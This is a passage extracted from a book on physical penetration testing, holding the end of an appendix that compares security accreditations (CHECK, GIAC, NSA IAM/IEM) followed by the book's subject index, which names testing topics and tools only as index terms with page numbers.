fact, it is little more than a baseline (and\na government baseline at that).\n•\nCESG have attempted to manipulate the makeup of commercial\npenetration testing teams by threatening to withdraw SC clearances\n(and by inference CHECK accreditation).\nHow much of this is true, I’m not at liberty to say but the bottom line is\nthat if you are serious about penetration testing in the United Kingdom\nyou will at some point, for better or for worse, encounter the CHECK\nscheme.\n" }, { "page_number": 296, "text": "274\nSECURITY ACCREDITATIONS\nGlobal Information Assurance Certification\nThe SysAdmin, Audit, Network and Security Institute (SANS) is a very\nhighly regarded source of information security training and certification.\nThey provide a number of courses in the field of technical information\nsecurity and their Global Information Assurance Certification (GIAC) is\nfirst rate. There are four areas in which you can acquire accreditation and\nSANS offers training courses in each:\n•\nSecurity administration.\n•\nManagement.\n•\nAudit.\n•\nSoftware security.\nAs an individual progresses through the different tracks, he or she can\nachieve Silver, Gold, and Platinum levels of GIAC certification:\n•\nSilver Certification – You must pass an exam in one area. A GIAC\nSilver Certificate ensures that an individual has learned the practical\nreal-world skills covered by his certification. For example, if you\nwant to hire someone with skills in security policy auditing and\nimplementation, then a GIAC-certified ISO-17799 specialist would\nbe a good bet.\n•\nGold Certification – This certificate requires candidates to research\nand write a detailed technical report or white paper, showing deeper\nknowledge of the subject area. The idea is that an individual is\nqualified to research and share their knowledge with others.\n•\nPlatinum Certification – You must hold three GIAC certifications with\nat least two of them passed at gold level. The platinum exams include\nindividual and group hands-on computer security exercises, individual\npresentations, group presentations, research and essay assignments,\nand a multiple choice exam.\nPersonally, I’ve always found that the GIAC accreditations bring with\nthem a high degree of credibility. If someone is accredited by SANS in\na particular area, you can generally rely on them being competent in\nthat discipline. GIAC’s layered and increasingly in-depth approach to\nany given area of expertise is an advantage over CISSP (which involves\ntrying to remember a set of one-line statements about numerous aspects\nof security).\nGIAC succeeds in being an international accreditation framework, equally\nuseful wherever you happen to live and work.\n" }, { "page_number": 297, "text": "INFOSEC ASSESSMENT AND EVALUATION\n275\nINFOSEC Assessment and Evaluation\nThe National Security Agency (NSA) is the US equivalent of GCHQ (if\nyou’re an American, feel free to reverse that sentence). The NSA, like\nGCHQ, has an information assurance arm that is responsible for security\nassistance to government departments. One of the ways they achieve this\nis through the information security (INFOSEC) Assessment Methodology\n(IAM) and INFOSEC Evaluation Methodology (IEM) programs. It is possible\nto take courses in IAM and IEM without seeking formal accreditation by\nthe NSA (and a lot of people do) but most courses include entrance to the\nexam as part of their fees and there’s no good reason for not taking it.\nIAM and IEM were born out of PDD-63 (now Homeland Security Presi-\ndential Directive-7), which requires vulnerability assessments of computer\nsystems that are part of the US Government and the US Critical National\nInfrastructure. While anyone can take the courses (and no formal security\nclearance is required at this stage), to gain the accreditation from the NSA\nyou must:\n•\nBe a US citizen;\n•\nHave five years of demonstrated experience in the field of INFOSEC\nor computer security (COMSEC), with two of the five years’ expe-\nrience directly involved in analyzing computer system or network\nvulnerabilities and security risks.\nThe difference between IAM and IEM is simply that the latter is more\nadvanced and in depth (covering detailed technical matters) and the\nformer is a pre-requisite for it. You are required to complete the IAM\ncourse which teaches the fundamentals of INFOSEC assessment before\nmoving on to IEM. However, IAM and IEM are not like the United\nKingdom’s CHECK accreditation, which is purely technical in execution\nand is geared towards purely technical solutions. The NSA accreditations\nare designed to permit nontechnical (and nonintrusive) analysis as well.\nOn the whole, IAM and IEM are well-rounded and comprehensive\napproaches. Although clearly US in origin, they have become popular\nmethodologies outside the United States in recent years.\n" }, { "page_number": 298, "text": "" }, { "page_number": 299, "text": "Index\n2.4 GHz range cameras\n171\n5.8 GHz range cameras\n171\n419 scams\n58–59\n802.11x standards (wireless\nnetworks)\n124–125,\n160–163\nacademic qualifications\n222\naccess control\n242\nbreaches\n46–50\nphotography\n102\nsecurity policies\n210–211\nadvance fee frauds\n57–58\nAdvanced Surveillance\n(Jenkins)\n118\nAhmed, Murad\n232\nAirbase\n144, 147–149,\n150\nAircrack\n135, 139–140\nAirodump\n128–129,\n132–135, 137,\n138–139, 140, 141\nantennas\n130, 162, 165\nanticipated resistance\n4\nappendices\n249–275\napplication testing\n245\nAristotle\n271\narmed guards\n156, 175\nArt of Deception (Mitnick)\n51\nThe Art of War (Sun Tzu)\n1, 229\nAruba networks\n151–152\nASCII strings\n98\nassets\n12, 18\ndefinition\n3\nvalue to attackers\n236–237\nassignments\n17–18\nATA passwords\n224\nAtheros cards, set-up\n131\nATM machines\n99–100,\n101\nattacks\ncase studies\n184–185,\n194–196,\n201–204\ndealing with\n238\nNight Vision case study\n194–196\nSCADA Raiders case\nstudy\n184–185\nUnauthorized Access\ncase study\n201–204\naudio radio scanners\n173–174\nauthentication methods,\nwireless networks\n141–143\nauthority, invoking power of\n64\nauthorization forms\n157\nauto focus (cameras)\n104\nAutopsy (web browser)\n95–98\nbackground checks\n4–6,\n221–223\nBackTrack\n3 121, 144\nbadges\n37–43, 210\nfabrication\n40–42\nphotography\n103–104\nbags, unattended\n212\nbarcode badges\n38,\n40–41, 194\nbarriers, bypassing\n47\nbasic check (BC)\n266–267\n" }, { "page_number": 300, "text": "278\nINDEX\nbatteries for laptops\n160\nBC (basic check)\n266–267\nbilling documents\n91\nbinoculars\n158\n’black box testing’\n18, 20,\n179\nblending in, covert\nphotography\n105–107\nblogs\n232\nBlueDiving\n153\nBlueJacking\n150, 151\nBlueScanner\n151–152,\n153\nBlueSnarfing\n150,\n151–152\nBluetooth devices\n150–153,\n163–164, 165\nbody armor\n175\nborder security\n46–50,\n244\nbudgets\n10\nbugs (listening devices)\n115, 239–240\nbuilding security\n246–247\nbumping (lock opening)\n81–82\nbusiness cards\n40\nbusinesses\nprotective markings\n216–218\nwebsites\n233\nCain software\n117,\n201–202\ncall signs\n27\ncameras (photography)\n102, 103, 106,\n157–158\ncameras (security)\n197,\n209–210\ndealing with\n44–46\nphotography\n103\nscanning\n171\ncameras (spying)\n101\nCanon G Range Powershot\ncameras\n102,\n103, 157, 158\nCANVAS (exploitation\nframework)\n185\ncaptured data\n93–99, 170\nCar Whisperer\n151,\n152–153\nCartier-Bresson, Henri\n104, 105\ncase studies\n177–205\nbadges\n103–104\nclient authorization\nletters\n156\nDelivery Guy\n36\nNight Vision\n187–197\npasswords\n100\nSCADA Raiders\n177–187\nUnauthorized Access\n197–204\nwireless network hacking\n143\ncatastrophic events\n179\nCCTV (closed-circuit\ntelevision) cameras\n44–46, 103,\n209–210\nCD disposal\n223\nCertified Information\nSystems Security\nProfessional\n(CISSP)\n271–272\nCESG (Communica-\ntion–Electronics\nSecurity Group)\n272–273\nCFAA (Computer Fraud and\nAbuse Act)\n255–256\nCHECK accreditation\n272–273\nCISSP (Certified Information\nSystems Security\nProfessional)\n271–272\nclear desk policy\n246\nclient authorization letters\n155–157\nclosed networks\n178, 187\nclosed-circuit television\n(CCTV) cameras\n44–46, 103,\n209–210\nclothing\n34–35\ncode word clearance\n(documentation)\n215–216\ncodes\n26–27\nCOLE (contractual,\noperational, legal,\nenvironmental)\nrisks\n20–21, 23\ncommercial in confidence\ndocuments\n217\ncommercial espionage\n9,\n115\ncommercial organizations\nprotective markings\n216–218\nwebsites\n233\ncommercial sabotage\n9\ncommunication between\ntesters\n26–27\nCommunication–Electronics\nSecurity Group\n(CESG)\n272–273\ncommunications\nequipment\n170\ninterception\n251, 252\nsecurity\n218–221\nsocial engineering\n237\ncompact cameras\n105, 157\ncompanies\nconfidential documents\n216, 223–224\nhandbooks\n91\nheaded paper\n91\nprotective markings\n218\nwebsites\n233\ncompany confidential\ndocuments\n216\ncomputer codes, observing\n100\nComputer Fraud and Abuse\nAct (CFAA)\n255–256\ncomputer intrusion\nspecialists\n14\nComputer Misuse Act\n1990 7, 249–251\n" }, { "page_number": 301, "text": "INDEX\n279\ncomputers\n170\nequipment\n159–160\nmonitors\n246\nnetwork intrusion\n227\nTrojan-horse attacks\n59,\n63, 227, 234\nconferencing\n170\nconfidential clearance\n269\nconfidential documents\n214, 216–218,\n223–224\nconfidentiality agreements\n232\nconnectivity, laptops\n159\ncontractors, security policies\n225–226\ncontractual risks\n20\ncookies, accessing\n147\ncoordinators\n13\ncorporate marking policies\n217–218\ncorporate websites\n110\ncounter intelligence\n229–248\ncounter-terrorism check\n(CTC)\n267\ncouriers\n35, 236\ncovert photography\n104–105, 106\ncovert surveillance\n104–105, 106,\n117–118\ncovert testing\n31\ncredit checks\n267, 269\ncredit history\n222\ncreeper boxes\n116–117\ncriminal convictions\n222\ncritical systems\n178\ncross shredders\n224\ncryptography see encryption\n’crystal box testing’\n18\nCTC (counter-terrorism\ncheck)\n267\nCVs\n232\ndata acquisition\n93–95,\n169–170\ndata analysis\n95–99, 170\ndata destruction\n223–224\ndata encryption\n224–225\nData Protection Act (DPA)\n253–254\nData Protection Directive\n(EU)\n263–264\ndata recovery\n92\nDBAN software\n99\ndeception techniques\n51–66\nDefence Vetting Agency\n(DVA)\n266\ndeference\n65\ndeleted information\n97\ndelivery people\n36, 236\nDell Latitude\n160\ndemilitarized zone (DMZ)\n244\ndesire to help/to be liked,\nexploitation of\n60–61\ndesktop workstations\n55\ndestructive entry techniques,\nlocks\n86\ndeveloped vetting (DV)\n5–6, 267–268\ndigital cameras\n104–105,\n107, 157–158\ndigital data disposal\n223\ndirect observation\n99–102\nprotection against\n241–242\ndirectional antennas\n130,\n162, 164\nDirective 95/46/EC\n263–264\ndiscrete photography\n104–105, 106\ndisposal of data\n223–224\nDMZ (demilitarized zone)\n244\ndocumentation\n17, 25–26\nprotective markings\n213–218\ndoor codes\n101\nDPA (Data Protection Act)\n253–254\ndrilling (lock opening)\n86\ndriver pins (locks)\n68, 69\ndumpster diving\n90–99,\n241\nDV (developed vetting)\n5–6, 267–268\nDVA (Defence Vetting\nAgency)\n266\nDVD disposal\n223\nEAP (extensible\nauthentication\nprotocol)\n143\neavesdropping attacks\n150–151,\n152–153\nECPA (Electronic\nCommunications\nPrivacy Act)\n256–257\nelectric lock picks\n169\nelectrical substations\n182–183\nelectronic access control\n41–43\nElectronic Communications\nPrivacy Act (ECPA)\n256–257\nelectronic data\ndisposal\n223\nforensic analysis\n93–99\nrecovery\n92\nelectronic shoulder surfing\n101\nelectronic shredding\n99\nelectronic surveillance\n115–117\nprotection against\n239–240\nelectronic testing\n14, 15,\n243, 244–245,\n249–264\nemail\nencryption\n219\ninformation from\n90\ninterception\n7, 117, 251\nprotective markings\n216\nsecurity policies\n219\n" }, { "page_number": 302, "text": "280\nINDEX\nemployees\nbackground checks\n221–223\ndirectories\n110\ninformation\n90\nemployment history\n222\nencryption\n224–225\ncracking\n131–143\nemail\n219\nlaptops\n159\nwireless access points\n125–130\nengagement rules\n17–18,\n23\nENISA (European Network\nand Information\nSecurity Agency)\n261–263\nenterprise grade\nauthentication\n141–143\nentrances/exits\n102,\n246\nenvironmental risks\n21\nequipment\n15, 17, 23,\n155–176\nBluetooth devices\n163–164, 165\ncommunications\n170\ncomputers\n159–160\ndata analysis\n170\nforensics\n169–170\nlaptops\n130, 159–160\nlock picking\n72–74,\n166–169\nphotography\n157–158\nsurveillance\n157–158\nwireless networks\n121–122,\n160–164, 165\nespionage\n9\nEthernet sniffing\n252\nethical hacking\n14, 15,\n239–240, 243,\n244–245\nethics of social engineering\n52\nEuropean Convention on\nHuman Rights\n6\nEuropean Network and\nInformation\nSecurity Agency\n(ENISA)\n261–263\nEuropean Union (EU)\nlegislation\n261–264\nexits/entrances\n102, 246\nextensible authentication\nprotocol (EAP)\n143\nFacebook\n108, 232\nfake staff passes\n40–42\nFAT Filesystems\n95\nfaxes\n220\nfear, inducing\n62–63\nfencing\n209\nfinancial records\n237\nfirearms\n21, 156, 175\nflash (cameras)\n105\nflattery\n65\nfloodlighting\n197, 247\nfloppy disc disposal\n223\nfocus assistance (cameras)\n105\nForeign Intelligence Service\n(SVR) (Russian)\n9\nforeign powers\n9\nforensic analysis on captured\ndata\n93–99\nforensics equipment\n169–170\nforged letters\n91\n’four-way handshake’\n138\nFRS/GMRS frequencies\n173–174\ngaining entry\n34–36\ngarbage\ninformation from\n90–99\nsecurity\n240–241\ngates, bypassing\n47\nGDI (government, defense\nand intelligence)\nmaterial\n213–216\ngear see equipment\n”get out of jail free” card\n155–157\nGIAC (Global Information\nAssurance\nCertification)\n274\nglamours\n35\nGlobal Information\nAssurance\nCertification\n(GIAC)\n274\nglobal positioning systems\n(GPS)\n165–166\nGMRS/FRS frequencies\n173–174\ngoals, definition\n3\nGoogle\n110–111\nEarth\n113–114, 165,\n166\nMaps\n167\nGoolag software\n111\ngovernment, defense and\nintelligence\nmaterial\n213–216\nGPS (global positioning\nsystems)\n165–166\ngreed, exploitation of\n59\n’grey box testing’\n18\ngroup mind, exploitation of\n56\nguard posts\n33\nguards, working around\n43–44\nguerilla psychology\n53–61\nguests see visitors\ngullibility, exploitation of\n56–59\nhacking\n1\nsee also electronic testing\nBluetooth devices\n150–153\nmobile phones\n150–153\n" }, { "page_number": 303, "text": "INDEX\n281\nprivacy legislation\n7\nwireless equipment\n121–154\nhandheld scanners\n172\nhard drives\n99, 170\nheaded paper\n91\nhealth and safety risks\n21\nHealth Insurance Portability\nand Accountability\nAct (HIPAA)\n257,\n258–259\nHelix forensic toolkit\n93–99\nhelpfulness, exploitation of\n60\nHIPAA (Health Insurance\nPortability and\nAccountability Act)\n257, 258–259\nHobbs, A. C.\n67\n’honey pots’\n7\nhulls (locks)\n68, 69\nhuman intelligence\n(HUMINT)\n19\nhuman psychology,\nexploitation of\n53–61\nHuman Rights Act\n1998\n6–7, 251–252\nhuman security\n211\nHUMINT (human\nintelligence)\n19\nIAM (INFOSEC Assessment\nMethodology)\n275\nIcom IC R3 scanners\n172\nIcom IC R5 scanners\n174\nID badges\n37, 210\nfabrication\n40–42\nphotography\n103–104\nidentity-theft attacks\n54–55\nIDS (intrusion detection\nsystems)\n227\nIEM (INFOSEC Evaluation\nMethodology)\n275\nignorance, exploitation of\n55\nIM (instant messaging)\n220–221, 234\nimagery intelligence (IMINT)\n19\nimpatience, faking\n61–62\n’implied knowledge’\n54\nincident response policies\n226–227\nindemnity insurance\n4\nindustrial intelligence\n9\ninformation\nexposure sources\n230–235\nidentifying relationships\n112–113\nsecurity policies\n9–10,\n207–228, 235\nvalue to attackers\n236–237\ninformation gathering see\nintelligence\ngathering\nINFOSEC Assessment\nMethodology (IAM)\n275\nINFOSEC Evaluation\nMethodology (IEM)\n275\ninfrared photography\n106–107\ningratiation\n65\ningress/egress\n102, 246\ninitialization vectors (IVs)\n134\ninstant messaging (IM)\n220–221, 234\ninsurance\n4–5\nintegrated mapping\n165\nIntel cards\n131\nintelligence agencies\n5, 9\nintelligence gathering\n89–119\ncase studies\n179–181,\n188–191,\n197–199\nNight Vision case study\n188–191\nSCADA Raiders case\nstudy\n179–181\nUnauthorized Access\ncase study\n197–199\ninterception of\ncommunications\n251, 252\ninternal subnets\n244–245\nInternational Information\nSystems Security\nCertification\nConsortium (ISC)2\n271, 272\ninternational law\n4\nInternet\n19\nnetworking sites\n231–233\nopen source intelligence\n107–115\nsnooping technologies\n251\nUSENET\n233–234\nwebsites\n233\nintranets\n110\nintrusion detection systems\n(IDS)\n227\nintrusions\ncase studies\n184–185,\n194–196,\n201–204\ndealing with\n238\nNight Vision case study\n194–196\nSCADA Raiders case\nstudy\n184–185\nUnauthorized Access\ncase study\n201–204\ninvoices, information from\n91\nIRC channels\n234\nISC 2 (International\nInformation\nSystems Security\nCertification\nConsortium)\n271,\n272\nISO Assist (cameras)\n105\n" }, { "page_number": 304, "text": "282\nINDEX\nIT systems, ignorance of\n55\nIVs (initialization vectors)\n134\nJenkins, Peter\n118\njob-interview candidates\n196\nkey logging hardware\n116\nkey pins (locks)\n68, 69\nkey tags\n41–42\nkeyways (locks)\n68, 69\nkit see equipment\nlandscaping, perimeter\nsecurity\n209\nlaptops\n130\nequipment\n159–160\nsecurity locks\n83, 84\nsoftware\n159–160\ntheft of\n226–227\nlaw see legal issues;\nlegislation\nLEAP (lightweight extensible\nauthentication\nprotocol)\n141–143\nlegal issues\n4–7, 20, 26,\n66\nlegislation\nEuropean Union\n261–264\nUnited Kingdom\n6–7,\n249–254\nUnited States\n255–259\nLeica lenses\n105–106\nlevel 1/2/3 clearance\n269–270\nlie detector tests\n5\nlifter picks\n74, 76\nlightweight extensible\nauthentication\nprotocol (LEAP)\n141–143\nlimited distribution\ndocuments\n214–215\nLinkedIn profiles\n108, 109,\n231–232\nLinux\n160–161, 164\nlive settings (Helix forensic\ntoolkit)\n96\nlock mechanisms\n68–72\nlock picking\n67–87\nequipment\n73,\n166–169\npick resistant\nmechanisms\n77–78\npractice tips\n78–80\ntechniques\n75–77,\n78–82\nlocked doors\n48–49\nlocks\ndestructive entry\ntechniques\n86\nnational differences\n168, 169\nLocks and Safes: The\nConstruction of\nLocks (Hobbs)\n67\nlong-range observation\n102\nlost data\n226–227\nMAC address filters\n140\nMachiavelli, Niccol`o\n64\nMagellan eXplorist XL\n165–166\nmagnetic tape disposal\n223\nmail security\n211–212\nMaltego software\n112–113\nmantraps\n47–48\nmeeting rooms\n32\nmemory (computers)\n159\nMetasploit\n144, 145–149,\n185, 186\nMI5\n9, 232, 266\nmicrowave ovens\n171\nMIFARE system\n43\nmilestones, tactical\n24\nmilitary organizations\n2–3\nmission critical systems\n178\nMitnick, Kevin\n51, 52, 235\nmobile comms cards\n116\nmobile phones\n150–153,\n166\nmotion detectors\n49–50\nMSN Live Messenger\n220,\n221\nmushroom pins (locks)\n78\nMySpace\n108, 232\nNACLC (National Agency\nCheck with Local\nAgency and Credit\nCheck)\n269\nname dropping\n54\nNational Agency Check with\nLocal Agency and\nCredit Check\n(NACLC)\n269\nNational Security Agency\n(NSA)\n275\nnetwork intrusion\n227\nnetwork maps\n91\nNetwork Stumbler\n128,\n129, 141\nnetwork taps\n115\nnetworking sites\n231–233\nnew hires\n60, 90, 221–223\nNigerian advance fee frauds\n57–58\nNight Vision case study\n187–197\nnightime photography\n106–107\nNokia E71 mobile phone\n166, 167\nnonexistent staff\n35–36\nNSA (National Security\nAgency)\n275\noffice areas\n32–33, 246\nomni-directional antennas\n130, 162, 163\nThe Open Organization of\nLockpickers (Tool)\n68, 76, 82\nopen source intelligence\n(OSINT)\n19,\n107–115\n" }, { "page_number": 305, "text": "INDEX\n283\noperating procedures\n(companies)\n91\noperating teams\ndefinition\n3–4\nengagement\n9–10\nformation\n12–15\nleaders\n13\nrole assignment\n14–15\nsecurity clearance\n5–6\nvetting\n4–6\noperational outlines\n25\noperational risks\n20\noperators\n13\nORCON (originator\ncontrolled)\ndocuments\n214–215\norganizations\noperating procedures\n91\nrisks\n12\nsecurity policies\n9–10,\n207–228, 235\nthreats to\n8\noriginator controlled\ndocuments\n214–215\nOSINT (open source\nintelligence)\n19,\n107–115\noutsourcing\n225–226\novert testing\n30–31\nOyster card system\n43\npackages, unattended\n212\npacket injection\n165\npadlocks\n72, 82–83, 168\npaper, disposal\n223–224,\n240–241\npasswords\naccess\n91, 147\ncapture\n116, 117\nencrypted media\n224\nobservation\n100\nprotection\n242\nre-use\n114–115\nstaff education\n236\nPatriot Act (United States)\n256\nPC laptops\n159\nPCMCIA cards\n162\nPCMCIA slots (laptops)\n159\nPCs (personal computers)\n170\nPDS (project documentation\nset)\n25–26\nPEAP (protected extensible\nauthentication\nprotocol)\n143\npenetration testing see\nphysical testing\nperimeter security\n103,\n189–190, 197,\n209, 247\npersonal data legislation\n253–254\npersonal websites\n233\npersonality types\n15\npersonas\n35, 60, 170\npersonnel background\nchecks\n221–223\nphone directories\n236\nphone security policies\n218–219\nphone taps\n115\nphotographic intelligence\n19, 102–107\nphotography\n14\nequipment\n157–158\ninfrared\n106–107\nnightime\n106–107\nsatellite imagery\n113–114\nphysical access control see\naccess control\nphysical assets\n237\nphysical hazards\n21\nphysical security\nsee also security\nbaseline\n245–247\nbreaches\n227\nmechanisms\n36–50\nsecurity policies\n208–212\nspecialists\n14\nphysical testing\nbasics\n1–10\ncommon paradigms\n30–31\ndefinition\n3\nengagement\n243–244,\n245\nexecution\n29–50\nlegislation\n249–264\nmilitary organizations\n2–3\nperformance\n242–245\nplanning\n11–28\npurpose\n242–243\nrisks\n20–21\ntester role\n2\nworkflow\n16\npick resistant mechanisms\n77–78\npicking pressure (locks)\n79–80\npigtail connectors\n163\npin codes\n99\npin setting (lock picking)\n80\npin tumbler locks\n69–70,\n72–73, 76\npicking\n79–82, 83–85,\n168\nplanners\n13\nplanning\n11–28\ncase studies\n181–184,\n191–194,\n199–201\nNight Vision case study\n191–194\nproject planning\n15–26\nSCADA Raiders case\nstudy\n181–184\nUnauthorized Access\ncase study\n199–201\nPLCs (programmable logic\ncontrollers)\n178,\n180\nplugs (locks)\n68, 69\nPMR446 frequencies\n173\npolice\n6, 20, 26\npoliteness\n62\npolygraphs\n5\n" }, { "page_number": 306, "text": "284\nINDEX\npostal security\n211–212\npower of authority attacks\n64\npractice locks\n73–74\npress releases\n111\npretexting\n54\npreventative security\ncontrols\n43–46\nprinted emails\n90\nprivacy rights\n6–7,\n251–252\nprivate communications\n7\nprocedural issues\n4–7\nprofessional networking\n108–109,\n231–233\nprogrammable logic\ncontrollers (PLCs)\n178, 180\nproject documentation set\n(PDS)\n25–26\nproject planning\n15–26\nproprietary data\n237\nprotected extensible\nauthentication\nprotocol (PEAP)\n143\nprotective markings\ncommercial\norganizations\n216–218\nemail\n216\ngovernment, defense and\nintelligence\nmaterial\n213–216\nproximity key tags\n41–42\nproximity tokens\n34,\n37–38, 210\npsychological techniques\n53–61\npublic access screens\n(computers)\n147\nPublic Company Accounting\nReform and\nInvestor Protection\nAct\n2002\n257–258\npublic company websites\n233\npublic information sources\n107–115\npublic VoIP (voice-over-IP)\nservices\n218\npulling (lock opening)\n86\nradio scanners\n171–174\nraking (lock picking)\n76–77\nRAM\n159\nRamius file (dictionary)\n139\nRAW mode (cameras)\n104\nrazor wire\n189–190, 197\nreception desk\n32, 236\nrecruitment\nagencies\n232\nbackground checks\n221–223\n’red teams’\n2–3\nrefuse containers\n241\nRegulation of Investigatory\nPowers Act (RIPA)\n252–253\nremote observation\n102\nremote terminal units (RTUs)\n180, 182\nresearch\n16, 18–25, 188\nresistance\n4\nrestricted documents\n213–214,\n216–217\nr´esum´es\n232\nreverse engineering software\n2\nRIPA (Regulation of\nInvestigatory\nPowers Act)\n252–253\nrisks\ncontractors\n225–226\ndetermination\n19–21\nevaluation\n23\nminimization\n229–248\nphysical testing\n20–21\nRoE (rules of engagement)\n17–18, 23\nroom bugs (listening\ndevices)\n115\nroute plotting\n165\nRTUs (remote terminal units)\n180, 182\nrubbish\nbins\n241\ninformation from\n90–99\nsecurity\n240–241\nrules of engagement (RoE)\n17–18, 23\nRussia\n9\nsabotage\n9\nSANS (SysAdmin, Audit,\nNetwork and\nSecurity Institute)\n274\nSarbanes-Oxley (SOX)\n257–258\nsatellite imagery\n113–114\nsatellite intelligence\n19\nSC (security check)\n5–6,\n267\nSCADA Raiders case study\n177–187\nSCADA (supervisory control\nand data\nacquisition)\nsystems\n178–187\nscanners\n171–174\nscanning cameras\n171\nscope, definition\n4\nsearch engines\n107,\n110–111\nsearching of visitors\n196,\n211\nsecret clearance\n269\nsecret documents\n214\nSecure Shell (SSH) sessions\n117\nSecure Sockets Layer (SSL)\n117\nsecurity\nsee also physical testing\n" }, { "page_number": 307, "text": "INDEX\n285\naccreditations\n271–275\naudits\n244\nbudgets\n10\nbuildings\n246–247\nclearances\n5–6,\n265–270\ncommunications\n218–221\ncontrols\n10, 36–50\ndumpsters\n240–241\nemail\n219\nfaxes\n220\nguards\n156, 175\nincidents\n226–227\ninstant messaging\n220–221\npolicies\n9–10,\n207–228, 235\nposture\n4\nrefuse containers\n240–241\nrisk minimization\n229–248\nrubbish\n240–241\nstaff\n21, 103\nstaff awareness\n211,\n231, 235–236\nstaff education\n235–236,\n241–242\ntesting teams\n243–244,\n245\nweakest links\n1,\n185–186, 204,\n230–231\nsecurity check (SC)\n5–6,\n267\nsecurity pins (locks)\n78\nself-importance perceptions\n65\nsensitive documents\n214,\n216–218,\n223–224\nserrated pins (locks)\n78\nserver rooms\n33\nsexual manipulation\n65–66\nsheer lines (locks)\n69\nshoulder surfing\n99–102,\n241–242\nshredded paper, data\nrecovery\n92\nshredding\n99, 224\nSiemens SiPass system\n41–42\nSIGINT (signals intelligence)\n19\nsignage, perimeter security\n209\nsignals intelligence (SIGINT)\n19\nsignatures\n91\nSimpLite software\n221\nsingle-scope background\ninvestigation (SSBI)\n269–270\nSiPass system\n41–42\nsite analysis tools\n127–130\nsite exploration\n31–33\nSkype software\n170\nsnap lock pick guns\n80–81, 169\nsocial engineering\n13–14,\n15, 51–66\nattack detection/handling\n238\nBlueJacking\n151\ncase studies\n187\ncommunications\n237\nethics\n52\nlegal issues\n66\nrisk mitigation\n235–238\nsecurity policies\n235\ntactical approaches\n61–66\nsocial networking\n108–110,\n231–233\nSocial Security numbers\n(SSNs)\n54\nsoftware\n115–116,\n159–160\nsee also individual\napplications\nSouthern Ordinance\n72, 73\nSOX (Sarbanes-Oxley)\n257–258\nspecialist roles\n14\nspool pins (locks)\n78\nSSBI (single-scope\nbackground\ninvestigation)\n269–270\nSSH (Secure Shell) sessions\n117\nSSID broadcasts\n140–141\nSSL (Secure Sockets Layer)\n117\nSSNs (Social Security\nnumbers)\n54\nstaff\nbackground checks\n221–223\nbadges\n37–43,\n103–104, 210\ncovert surveillance\n118\noffices\n32–33\nsecurity awareness\n211,\n231, 235–236\nstolen data\n226–227\nstorage spaces\n33\nStored Communications Act\n257\nSTRAP levels\n215\nstrategic outlines\n22\nstreet photography\n104\nsubjective truth\n56\nSun Tzu\n1, 229, 230\nsupervisory control and data\nacquisition\n(SCADA) systems\n178–187\nsupplication, faking\n63\nsurveillance\ncase studies\n189\nelectronic methods\n115–117\nequipment\n157–158\nphotography\n102–107\nspecialists\n14\nsuspect mail/packages\n212\nsuspicious behavior\n45–46\nSuunto X9i GPS computer\n165, 166\n" }, { "page_number": 308, "text": "286\nINDEX\nSVR (Russian Foreign\nIntelligence\nService)\n9\nSysAdmin, Audit, Network\nand Security\nInstitute (SANS)\n274\ntactical approaches\n34–36, 61–66\ntactical milestones\n24\ntailgating to gain entry\n34\ntargets\nassets\n12, 13, 18,\n236–237\nbuildings\n102\ncooperation\n61–62\ncovert surveillance\n117–118\ndefinition\n3\ndumpster diving\n90–99\nindifference\n61–62\npanic\n61\nprivate communications\n7\npsychological techniques\n53–61\nstonewalling\n62\ntypes\n8\nteams\ndefinition\n3–4\nengagement\n9–10\nformation\n12–15\nleaders\n13\nrole assignment\n14–15\nsecurity clearance\n5–6\nvetting\n4–6\ntelephone directories\n236\ntelephone security policies\n218–219\ntelephone taps\n115\ntemporary passes\n39\nterminology\n27\nterrorism\n9\ntest plans\n16, 21–25\ntesting see physical testing\nThe Unshredder\n92\ntheft\n237\nThinkpad T60\n160\nthreats\nbusiness perspective\n229–248\ndealing with\n237–238\nevaluation\n8–9, 11–12\nmanifestation\n9\ntypes\n8\n’tiger teams’\n2–3\nTOOOL (The Open\nOrganization Of\nLockpickers)\n68,\n76, 82\ntop secret clearance\n5,\n269–270\ntop secret documents\n215\nTOP500 list\n198\ntorque wrenches\n74, 75\ntorsion (lock picking)\n80\ntrash\ninformation from\n90–99\nsecurity\n240–241\ntrashing\n90–99\nTrojan-horse attacks\n59,\n63, 227, 234\ntrust, exploitation of\n54–55\ntruth, nature of\n56\ntubular lock picks\n84, 85\ntubular locks\n72, 83–85,\n168\nturnstiles\n48\nUnauthorized Access case\nstudy\n197–204\nunclassified documents\n213\nundercover photography\n104–105\nUnited Kingdom\nlegislation\n6–7,\n249–254\nsecurity clearances\n266–268\nUnited States\ndocument classification\n214\nlegislation\n255–259\nsecurity clearances\n268–270\nuniversity networks\n199\nunmarked documents\n213\nunseen testing\n31\nThe Unshredder\n92\nUSB 2.0 laptops\n159\nUSB 2.4G Wireless\nReceivers\n171–172\nUSB drives\n29–30, 223\nUSB wireless adapters\n161\nUSENET\n111, 233–234\nusernames\n91\nvehicles, covert surveillance\n118\nvetting of teams\n4–6\nvibrating picks\n169\nvirtualization software\n159–160\nvirus scanning\n219\nvisitors\npasses\n39, 40, 194\nsearching\n196, 211\nsecurity policies\n236\nvoice changers\n66\nvoice-over-IP (VoIP)\n170,\n218\nvoicemail\n219\nwafer locks\n70–71, 85\nwalkie talkies\n170, 171,\n173\nwarded locks\n71–72, 83,\n168\npicks\n84\nwardriving\n127–130\nwards (locks)\n68, 69\nwarehouse spaces\n33\nwaste disposal\n240–241\nwaypoints\n165, 166\nweakest links\n1, 185–186,\n204, 230–231\nweb applications, audits\n245\n" }, { "page_number": 309, "text": "INDEX\n287\nweb browsers\n95–98\nwebcams\n202–204\nwebsites\n233\nsee also social\nnetworking\nWEP (Wired Equivalent\nPrivacy) encryption\n126–127,\n131–136\n’wetware’ hacking see social\nengineering\nWiFi Protected Areas\n(WPA/WPA2)\nshared key\nencryption\n127,\n136–140\nWindows\n55\nCain software\n117,\n201–202\ndata acquisition\n93–95\ndata analysis\n95–99\nNetwork Stumbler\n128,\n129, 141\nWired Equivalent Privacy\n(WEP) encryption\n126–127,\n131–136\nwireless cameras\n101,\n171\nwireless clients, attacks on\n144–150\nwireless equipment\n121–154\nwireless networks\naccess\n132–136\nauthentication methods\n141–143\nbenefits\n122\ncards\n121–122,\n160–163\nchannels\n125\nconcepts\n122–125\nencryption\n125–143\nequipment\n160–164,\n165\nfrequencies\n125\nproblems\n122–124\nsecurity\n124\nstandards\n124–125\nterminology\n123\nworkflow\n15–26\nworkstations\n55,\n115–116\nWPA/WPA2 (WiFi Protected\nAreas) shared key\nencryption\n127,\n136–140\nYagi antennas\n162, 163\nCompiled by INDEXING 